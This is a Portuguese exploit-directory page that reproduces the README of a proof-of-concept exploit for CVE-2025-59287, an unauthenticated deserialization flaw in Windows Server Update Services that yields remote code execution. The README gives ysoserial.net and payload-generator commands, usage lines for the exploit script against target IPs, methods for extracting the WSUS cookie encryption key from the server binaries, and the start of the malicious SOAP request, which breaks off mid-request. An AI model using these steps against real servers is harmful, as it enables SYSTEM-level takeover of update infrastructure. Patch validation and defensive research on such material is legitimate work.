Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

Prova de conceito de exploit para CVE-2025-59287, uma RCE crítica não autenticada no WSUS via desserialização insegura de BinaryFormatter, alcançando privilégios de SYSTEM por meio de cookies criptografados elaborados.

Ver Repositório
157há 1 anoAinda não revisado
Compartilhar

Exploit de Prova de Conceito CVE-2025-59287

Visão Geral da Vulnerabilidade

CVE-2025-59287 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) no Microsoft Windows Server Update Services (WSUS). A vulnerabilidade é causada pela desserialização insegura de dados AuthorizationCookie através do BinaryFormatter no método EncryptionHelper.DecryptData().

Impacto: Atacantes não autenticados podem alcançar execução remota de código com privilégios de SYSTEM enviando cookies criptografados maliciosos para o endpoint GetCookie().

Pontuação CVSS: Crítica (9.8)

Detalhes da Vulnerabilidade

  • Componente Afetado: Endpoint GetCookie() do WSUS ClientWebService.asmx
  • Causa Raiz: BinaryFormatter.Deserialize() chamado em entrada não confiável sem validação adequada
  • Vetor de Ataque: Cookie criptografado malicioso enviado ao endpoint SOAP GetCookie()
  • Autenticação Necessária: Não (RCE não autenticado)
  • Portas Afetadas: 8530 (HTTP), 8531 (HTTPS)

Arquitetura

┌─────────────────┐
│   Atacante      │
│                 │
│  1. Gerar       │
│     Payload     │
│     BinaryFmt   │
│                 │
│  2. Criptografar│
│     Payload     │
│                 │
│  3. Enviar      │
│     Requisição  │
│     SOAP        │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   Servidor WSUS │
│                 │
│  Endpoint       │
│  GetCookie()    │
│                 │
│  DecryptData()  │◄─── Vulnerável
│                 │
│  BinaryFormatter│◄─── Desserialização Insegura
│  Deserialize()  │
│                 │
│  Executar       │◄─── RCE como SYSTEM
│  Payload        │
└─────────────────┘

Estrutura de Arquivos

exploit-poc/
├── wsus_exploit.py                    # Script principal do exploit
├── BinaryFormatterPayloadGenerator.cs # Gerador de payload .NET (C#)
├── encrypt_payload.py                 # Auxiliar de criptografia WSUS
├── requirements.txt                   # Dependências Python
└── README.md                          # Este arquivo

Pré-requisitos

Ambiente Python

pip install -r requirements.txt

.NET Framework (para geração de payload)

  • Windows com .NET Framework 4.0 ou posterior
  • Ou usar ysoserial.net como alternativa

Uso

Método 1: Fluxo de Trabalho Completo

Passo 1: Gerar Payload BinaryFormatter

Opção A: Usando o gerador C# fornecido

# Compilar o gerador
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# Gerar payload
BinaryFormatterPayloadGenerator.exe calc.exe
# Cria: payload_YYYYMMDDHHMMSS.bin

Opção B: Usando ysoserial.net (Recomendado)

ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

Passo 2: Criptografar o Payload

python encrypt_payload.py payload.bin -o encrypted_cookie.txt

IMPORTANTE: A chave de criptografia em encrypt_payload.py é um espaço reservado. Para exploração real, você deve:

  1. Fazer engenharia reversa da chave de criptografia real dos binários WSUS
  2. Atualizar encrypt_payload.py com a chave real
  3. Ver a seção "Encontrando a Chave de Criptografia WSUS" abaixo

Passo 3: Executar o Exploit

# Usando arquivo de payload (criptografará em tempo real)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# Usando cookie pré-criptografado
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# Com HTTPS (porta 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

Método 2: Teste Rápido

# Gerar, criptografar e explorar de uma só vez
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <IP_ALVO> -f payload_*.bin

Encontrando a Chave de Criptografia WSUS Real

A chave de criptografia deve ser extraída dos binários WSUS para exploração real.

Método 1: Engenharia Reversa com dnSpy

  1. Localizar DLLs WSUS:

    %ProgramFiles%\Update Services\WebServices\bin\
    

    Ou diretório web IIS:

    %SystemDrive%\inetpub\wwwroot\wsusadmin\
    
  2. Abrir no dnSpy (decompilador .NET gratuito):

    • Download: https://github.com/dnSpy/dnSpy
    • Abrir Microsoft.UpdateServices.WebServices.dll
  3. Procurar por EncryptionHelper:

    • Navegar para: namespace Microsoft.UpdateServices.WebServices
    • Encontrar a classe EncryptionHelper
    • Observar os métodos DecryptData() e EncryptData()
    • Extrair a chave de criptografia e o algoritmo
  4. Padrões comuns:

    • Arrays de bytes codificados
    • Constantes de string
    • Derivação de chave a partir do GUID/SID da máquina

Método 2: Análise em Tempo de Execução

  1. Usar WinDbg ou x64dbg:

    • Definir ponto de interrupção em EncryptionHelper.DecryptData()
    • Inspecionar memória/registradores para material de chave
    • Monitorar operações de criptografia/descriptografia
  2. Usar Process Monitor:

    • Filtrar pelo processo WSUS
    • Procurar acesso a registro/arquivos de configuração
    • Chaves podem estar armazenadas no registro

Método 3: Análise Estática

  1. Usar IDA Pro ou Ghidra:

    • Carregar binários WSUS
    • Procurar strings relacionadas a criptografia
    • Analisar algoritmos de derivação de chave
  2. Usar utilitário strings:

    strings Microsoft.UpdateServices.WebServices.dll | grep -i key
    strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
    

Atualizando o Exploit

Depois de obter a chave real, atualize encrypt_payload.py:

# Substitua esta linha em encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # ESPAÇO RESERVADO

# Pela chave real:
key_material = b"CHAVE_REAL_DOS_BINARIOS_WSUS"

Ou passe via linha de comando:

python encrypt_payload.py payload.bin -k "CHAVE_REAL"

Fluxo do Exploit

┌─────────────────────────────────────────────────────────────┐
│ 1. Gerar Payload BinaryFormatter                             │
│    ObjectDataProvider → Process.Start() → Execução de Comando│
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Criptografar Payload                                      │
│    AES-128-CBC com chave de criptografia WSUS                │
│    Codificação Base64 para transmissão                       │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. Criar Requisição SOAP                                     │
│    Cabeçalho AuthorizationCookie contém payload criptografado│
│    Método GetCookie() no corpo SOAP                          │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. Enviar para Endpoint WSUS                                 │
│    POST /ClientWebService/ClientWebService.asmx              │
│    Porta 8530 (HTTP) ou 8531 (HTTPS)                         │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. Processamento WSUS                                        │
│    DecryptData() descriptografa o cookie                     │
│    BinaryFormatter.Deserialize() executa o payload           │
│    → RCE como SYSTEM                                         │
└─────────────────────────────────────────────────────────────┘

Estrutura da Requisição SOAP

POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <ALVO>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    930
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    554
  • 3

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    354
  • 4

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    349
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    289

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →